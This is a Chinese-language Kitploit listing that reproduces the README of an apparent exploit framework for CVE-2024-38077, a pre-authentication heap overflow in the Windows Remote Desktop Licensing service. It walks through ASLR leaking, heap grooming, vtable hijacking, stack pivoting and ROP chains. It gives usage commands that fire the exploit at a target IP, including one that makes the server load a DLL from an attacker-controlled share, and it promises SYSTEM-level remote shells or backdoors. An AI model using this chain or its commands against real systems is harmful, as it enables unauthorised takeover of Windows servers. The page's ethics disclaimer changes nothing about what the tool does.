Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-38077-MadLicense-exploit — 模块化利用框架,用于 CVE-2024-38077(Windows RDL 堆溢出),具备 ASLR 绕过、堆风水、ROP 链生成以及 DLL 注入载荷,实现预认证远程代码执行。 | Kitploit
工具/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
漏洞利用框架漏洞分析漏洞利用逆向工程Shellcode渗透测试学习与教育Payload 开发二进制利用
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

模块化利用框架,用于 CVE-2024-38077(Windows RDL 堆溢出),具备 ASLR 绕过、堆风水、ROP 链生成以及 DLL 注入载荷,实现预认证远程代码执行。

查看仓库
148个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-38077 MadLicense - 完整利用框架

📚 演示技术文档

本文档解释框架的每个组件、为什么存在以及如何在现代 Windows 上利用堆缓冲区溢出。


🎯 什么是 CVE-2024-38077?

漏洞

Windows 远程桌面授权服务 (lserver.exe) 在 CDataCoding::DecodeData 函数中存在堆缓冲区溢出。

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  漏洞:大小计算错误                                          │
├─────────────────────────────────────────────────────────────┤
│  1. 客户端发送大小为 N 的 Base64 数据                        │
│  2. 服务端计算:buffer_size = (N / 4) * 3                   │
│  3. 服务端分配 'buffer_size' 字节的缓冲区                   │
│  4. 实际 Base64 解码写入:ceil(N * 3/4) 字节                │
│  5. 若 N 不是 4 的倍数:溢出!                               │
└─────────────────────────────────────────────────────────────┘

具体示例:

  • 输入:4001 字节
  • 服务端计算:(4001 / 4) * 3 = 1000 * 3 = 3000 字节分配
  • 实际解码:ceil(4001 * 0.75) = 3001 字节写入
  • 溢出:1 字节(但可以控制更多)

为何严重?

  1. 预认证:无需凭据
  2. 远程:通过网络,端口 135(RPC)
  3. SYSTEM 权限:服务以 NT AUTHORITY\SYSTEM 运行
  4. 普遍性:影响 Windows Server 2000-2025

🏗️ 框架架构

模块概览

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      利用链                                      │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│py        │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP、ASLR、CFG 感知)                        │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (编排器)                                │
    └───────────────────────────────────────────────────────────┘

📦 模块 1:primitives.py - 基础

是什么?

内存操作的低级工具。

为什么存在?

利用需要:

  • 类型转换(int ↔ bytes)
  • 生成崩溃分析模式
  • 正确对齐数据

主要函数

root@kitploit:~
# Pack/Unpack - 整数转字节及反向
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# 循环模式 - 用于识别崩溃偏移
cyclic(100)          # 生成德布鲁因序列
cyclic_find(pattern, value)  # 查找值的偏移

# 对齐 - 内存需对齐
align(0x1003, 0x10)  # → 0x1010(对齐到 16 字节)

为什么重要?

实际问题:你导致崩溃,RIP 包含 0x61616171。

  • 无循环模式:“我的缓冲区的某个地方...”
  • 有循环模式:cyclic_find(pattern, 0x61616171) → 精确偏移!

📦 模块 2:leak.py - 绕过 ASLR

什么是 ASLR?

地址空间布局随机化:每次启动/执行,地址都会改变。

root@kitploit:~
启动 1:ntdll.dll @ 0x7FFA12340000
启动 2:ntdll.dll @ 0x7FFB98760000
启动 3:ntdll.dll @ 0x7FFC55550000

为什么需要泄露?

不知道内存位置:

  • 不知道将 payload 放在哪里
  • 不知道 ROP gadgets 的地址
  • 任何尝试 = 随机崩溃

模块结构

root@kitploit:~
class LeakInfo:
    """泄露地址的容器"""
    heap_base: int         # 堆基址
    ntdll_base: int        # ntdll.dll 基址
    kernel32_base: int     # kernel32.dll 基址
    # ...

class LeakProvider:
    """泄露源协调器"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # 依次尝试每个泄露源直到成功

实现的泄露源

源工作原理何时使用
ManualLeakSource用户提供地址实验室/调试,可访问目标
ResponseLeakSource从 RPC 响应中提取服务泄漏指针时
TimingLeakSource时间侧信道理论性,非常困难

为什么手动输入?

在演示/实验室中,你可以:

  1. 在目标上附加调试器
  2. 查看模块基址
  3. 通过 --ntdll-base 0x7ffa... 提供

这模拟了实际泄露,允许测试链条的其余部分。


📦 模块 3:target_model.py - 目标映射

是什么?

易受攻击及相邻数据结构建模。

为什么存在?

溢出 ≠ 利用。我们需要知道:

  • 我们在覆盖什么?
  • 对象有多大?
  • 哪个字段适合破坏?

组件

root@kitploit:~
class VulnerableBuffer:
    """将发生溢出的缓冲区"""
    allocation_size: int   # 已分配多少
    write_size: int        # 将写入多少
    overflow_amount: int   # 差值 = 溢出
    
    def calculate_overflow(input_size):
        # 模拟计算错误
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """将被破坏的对象(堆上的相邻对象)"""
    fields: List[StructField]
    has_vtable: bool       # 是否有虚函数表?
    has_function_ptr: bool # 是否有函数指针?

目标结构示例

root@kitploit:~
# 基于逆向分析的假设对象
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# 映射的字段
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

为什么 is_target=True?

标记对利用有用的字段:

  • vtable:如果覆盖,则控制方法调用
  • callback:如果覆盖,则控制回调触发时机

📦 模块 4:write_primitive.py - 受控写入

问题

溢出写入连续数据。但我们需要:

  • 写入特定值(我们的 ROP 地址)
  • 在特定偏移处(虚函数表指针所在位置)

解决方案

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        构建包含精确值的溢出缓冲区
        
        布局:
        [填充至偏移] [受控值] [更多数据]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # 在精确偏移处放置精确值
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

覆盖类型

root@kitploit:~
# 覆盖虚函数表
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# 覆盖回调
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

为什么只写垃圾不够?

写入结果
AAAA...崩溃但无控制
精确偏移处的精确地址受控执行

📦 模块 5:heap_controller.py - 堆 Grooming

现代堆的挑战

Windows 使用 LFH(低碎片堆) 和 段堆:

  • 分配是随机的
  • 布局不可预测
  • 堆防护检测到破坏

解决方案:Grooming

Grooming = 按摩堆以获得确定性布局。

root@kitploit:~
GROOMING 前:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
随机分配,不可预测的空洞

GROOMING 后:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
受控布局,按需的“空洞”

Grooming 阶段

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # 阶段 1:填充现有空洞
        self.phase_fill(50)
        
        # 阶段 2:激活目标桶的 LFH
        # (Windows 约在相同大小分配 17 次后激活 LFH)
        self.phase_activate_lfh()
        
        # 阶段 3:Spray - 创建密集模式
        sprayed = self.phase_spray(200)
        
        # 阶段 4:创建战略空洞
        # 每隔 N 个分配释放一个
        self.phase_create_holes(sprayed, interval=4)
        
        # 阶段 5:稳定
        self.phase_stabilize()

为什么有效?

  1. 用我们自己的对象填满堆
  2. 按规律间隔创建“空洞”
  3. 当服务器分配易受攻击的缓冲区时...
  4. ...很大可能落入空洞
  5. ...与我们可破坏的对象相邻

📦 模块 6:trigger.py - 破坏后触发

问题

破坏已发生。然后呢?

root@kitploit:~
当前状态:
- 内存已破坏 ✓
- 恶意值已写入 ✓
- 但还没人”使用“这个值!

解决方案:强制使用

我们需要程序读取并使用被破坏的数据。

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# 实现的策略:

class SecondRequestTrigger:
    """发起第二次 RPC 调用,使用被破坏的对象"""
    
class DestructorTrigger:
    """断开连接 - 强制清理使用被破坏的指针"""
    
class TimerTrigger:
    """等待内部定时器处理被破坏的状态"""

典型流程

root@kitploit:~
1. 第一次 RPC 调用 → 破坏发生
2. 断开连接 (trigger) → 服务端调用析构函数
3. 析构函数读取被破坏的虚函数表 → 调用我们的地址
4. 受控执行!

📦 模块 7:execution.py - 流程控制

目标:劫持 RIP/RIP

RIP(x64)或 EIP(x86)= 指令指针

如果我们控制指令指针,我们就控制了执行。

劫持方法

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # 堆溢出中最常见
    FUNCTION_PTR = 1 # 回调指针
    RETURN_ADDR = 2  # 栈溢出(不是我们的情况)

Vtable 劫持详解

root@kitploit:~
普通对象:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← 合法
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

破坏后:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← 我们的!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

当 method1 被调用时 → 执行我们的 gadget!

Stack Pivot

问题:vtable 劫持只给我们一次调用。我们需要更多。

解决方案:Stack Pivot

root@kitploit:~
# 将 RSP 交换到我们拥有 ROP 链地址的 gadget
xchg rax, rsp; ret  # RAX = 我们的地址 → RSP = 我们的地址

# 现在“栈”是我们的受控区域!
# 每个 RET 跳到 ROP 链的下一个 gadget

📦 模块 8:code_reuse.py - ROP 链

为什么要用 ROP?

DEP(数据执行保护):堆和栈不可执行。

root@kitploit:~
堆上的 Shellcode → 崩溃(访问冲突 - 执行)

解决方案:重用现有代码

ROP = 返回导向编程

我们将“gadgets”链接在一起——以 RET 结尾的小段代码。

root@kitploit:~
GADGET 1: pop rcx; ret    ← 将值放入 RCX
GADGET 2: pop rdx; ret    ← 将值放入 RDX
GADGET 3: call LoadLibraryA ← 调用函数!

Gadgets 如何链接

root@kitploit:~
STACK/ROP CHAIN(我们的受控区域):
┌────────────────────┐
│ addr de pop_rcx    │ ← RSP 指向这里
├────────────────────┤
│ 给 RCX 的值        │ ← 将被“pop”到 RCX
├────────────────────┤
│ addr de pop_rdx    │ ← RET 跳到这里
├────────────────────┤
│ 给 RDX 的值        │
├────────────────────┤
│ addr LoadLibraryA  │ ← 最终调用!
└────────────────────┘

实现的链

root@kitploit:~
# 加载 DLL(DLL 注入)
build_load_library(dll_path_addr) → ROP chain

# 分配可执行内存
build_virtual_alloc(size) → ROP chain + RAX = RWX 地址

# 执行命令
build_winexec(cmd_addr) → ROP chain

📦 模块 9:payload.py - 语义 Payload

区别:数据 vs 意图

类型示例结果
数据AAAAAA...崩溃
意图ROP + DLL 路径DLL 已加载

Payload 类型

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # 验证利用是否工作
    DLL_INJECT = 1    # 加载我们的 DLL
    COMMAND_EXEC = 2  # 执行命令
    SHELLCODE = 3     # 通过 ROP 执行 shellcode

为 DLL 注入构建 Payload

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    最终结构:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← 首先执行
    ├──────────────────────────────┤
    │ 填充                          │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← 路径字符串
    └──────────────────────────────┘
    
    ROP 链将字符串地址传递给 LoadLibraryA
    """

📦 模块 10:mitigations.py - 缓解措施感知

现代 Windows 缓解措施

缓解措施作用我们的绕过
DEP堆/栈不可执行ROP(代码重用)
ASLR地址随机化信息泄露
CFG验证调用目标调用合法目标,然后 pivot
Stack Cookie检测栈溢出我们不用栈溢出
Heap Hardening防护页等小心 Grooming

自动适应

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # 必需
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # 必需
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # 更多 Spray

🔄 完整利用流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    利用流程                                     │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK(绕过 ASLR)
   ├─ 获取内存地址
   ├─ 输入:手动或自动泄露
   └─ 输出:包含模块基址的 LeakInfo

             ↓

   STAGE 2: ANALYZE(目标映射)
   ├─ 计算溢出量
   ├─ 识别相邻对象
   └─ 确定破坏偏移

             ↓

   STAGE 3: GROOM(堆塑形)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ 创建确定性布局
   └─ 为易受攻击的分配准备“着陆区”

             ↓

   STAGE 4: PAYLOAD(构建)
   ├─ 构建 ROP 链
   ├─ 包含所需字符串/数据
   └─ 与溢出数据结合

             ↓

   STAGE 5: CORRUPT(触发溢出)
   ├─ 发送恶意 RPC 调用
   ├─ 导致溢出
   └─ 覆盖目标(vtable/callback)

             ↓

   STAGE 6: TRIGGER(强制使用)
   ├─ 断开连接或第二次调用
   ├─ 强制使用被破坏的指针
   └─ 劫持执行

             ↓

   STAGE 7: EXECUTE(RCE)
   ├─ ROP 链执行
   ├─ LoadLibraryA 加载 DLL
   └─ 任意代码正在执行!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  结果:以 SYSTEM 权限获取反向 shell、后门等                 │
   └─────────────────────────────────────────────────────────────┘

🚀 实际使用

安装

root@kitploit:~
pip install impacket

命令

root@kitploit:~
# 仅检查服务是否运行
python -m madlicense.poc -t 10.0.0.5 --check

# 空运行(不发送 payload,模拟一切)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# 完整 DLL 注入
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# 执行 calc.exe(经典 PoC)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ 道德考虑

此框架用于:

  • ✅ 授权安全研究
  • ✅ 教育演示
  • ✅ 受控环境测试
  • ✅ 缓解措施开发

不允许用于:

  • ❌ 未授权访问
  • ❌ 对生产系统的攻击
  • ❌ 任何非法活动

📚 参考

  1. CVE-2024-38077 - Microsoft 安全公告
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 演讲摘要

关键句:

“在现代 Windows 上利用堆缓冲区溢出不仅仅是‘写太多’。 这是一条精确的链:泄露 → grooming → 破坏 → 触发 → 执行。”

9 个模块:

  1. primitives - 内存工具
  2. leak - 绕过 ASLR
  3. target_model - 了解目标
  4. write_primitive - 受控写入
  5. heap_controller - 堆 grooming
  6. trigger - 强制使用破坏
  7. execution - 劫持 RIP
  8. code_reuse - ROP 链
  9. mitigations - 防御措施感知

缺少任何一个,都无法实现 RCE。

下载工具